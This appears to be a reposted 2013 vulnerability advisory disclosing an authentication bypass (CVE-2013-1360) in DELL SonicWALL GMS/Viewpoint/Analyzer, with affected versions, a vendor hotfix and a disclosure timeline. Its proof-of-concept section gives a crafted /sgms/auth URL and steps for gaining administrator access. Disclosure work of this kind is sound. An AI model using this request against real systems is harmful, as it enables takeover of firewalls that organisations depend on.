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حامد کیانمهر
22nd January 2013, 16:05
SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass



-------------------------- NSOADV-2013-002 ---------------------------







SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass (/sgms/)





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Title: SonicWALL GMS/Viewpoint/Analyzer





Authentication Bypass (/sgms/)





Severity: Critical





CVE-ID: CVE-2013-1360





CVSS Base Score: 9





Impact: 8.5





Exploitability: 10





CVSS2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:C





Advisory ID: NSOADV-2013-002





Found Date: 2012-04-26





Date Reported: 2012-12-13





Release Date: 2013-01-17





Author: Nikolas Sotiriu





Website: http://sotiriu.de





Twitter: http://twitter.com/nsoresearch





Mail: nso-research at sotiriu.de





URL: http://sotiriu.de/adv/NSOADV-2013-002.txt





Vendor: DELL SonicWALL (http://www.sonicwall.com/)





Affected Products: GMS





Analyzer





UMA





ViewPoint





Affected Platforms: Windows/Linux





Affected Versions: GMS/Analyzer/UMA 7.0.x





GMS/ViewPoint/UMA 6.0.x





GMS/ViewPoint/UMA 5.1.x





GMS/ViewPoint 5.0.x





GMS/ViewPoint 4.1.x





Remote Exploitable: Yes





Local Exploitable: No





Patch Status: Vendor released a patch (See Solution)





Discovered by: Nikolas Sotiriu























Background:





===========











The SonicWALL® Global Management System (GMS) provides organizations,





distributed enterprises and service providers with a powerful and





intuitive solution to centrally manage and rapidly deploy SonicWALL





firewall, anti-spam, backup and recovery, and secure remote access





solutions. Flexibly deployed as software, hardware, or a virtual





appliance, SonicWALL GMS offers centralized real-time monitoring, and





comprehensive policy and compliance reporting. For enterprise customers,





SonicWALL GMS streamlines security policy management and appliance





deployment, minimizing administration overhead. Service Providers can





use GMS to simplify the security management of multiple clients and





create additional revenue opportunities. For added redundancy and





scalability, GMS can be deployed in a cluster configuration.











(Product description from Website)























Description:





============











DELL SonicWALL GMS/Analyzer/ViewPoint contains a vulnerability that





allows an unauthenticated, remote attacker to bypass the Web interface





authentication offered by the affected product.











The vulnerability is attributed to a broken session handling in the





process of password change process of the web application.





changing in the web application.











An attacker may exploit this vulnerability by sending a specially





crafted request to the SGMS Interface (/sgms/).











The attacker gains full administrative access to the interface and





full control over all managed appliances, which could lead to a full





compromisation of the organisation.























Proof of Concept :





==================











Access the following URL to login to the sgms interface:











http://host/sgms/auth?clientHash=765c5e5b571050030b6366666338306466 3





83761376339303932346163656262&clientHash2=03196ba18cffc80df87a7c9092





4acebb&changePassword=1&user=admin&ctlSGMSDomainId=DMN00000000000000





00000000001











If the Console is not directly shown, type any password you





want in the change password dialog twice and hit submit to login.











Maybe you need to access the following URL after this process:











http://host/sgms/auth























Solution:





=========











Install Hotfix 125076.77. (Download from www.mysonicwall.com)























Disclosure Timeline:





====================











2012-04-26: Vulnerability found





2012-12-12: Sent the notification and disclosure policy and asked





for a PGP Key (security@sonicwall.com)





2012-12-13: Sent advisory, disclosure policy and planned disclosure





date (2012-12-28) to vendor





2012-12-18: SonicWALL analyzed the finding and wishes to delay the





release to the 3. calendar week 2013.





2012-12-18: Changed release date to 2013-01-17.





2012-12-20: Patch is published



2013-01-17: Release of this advisory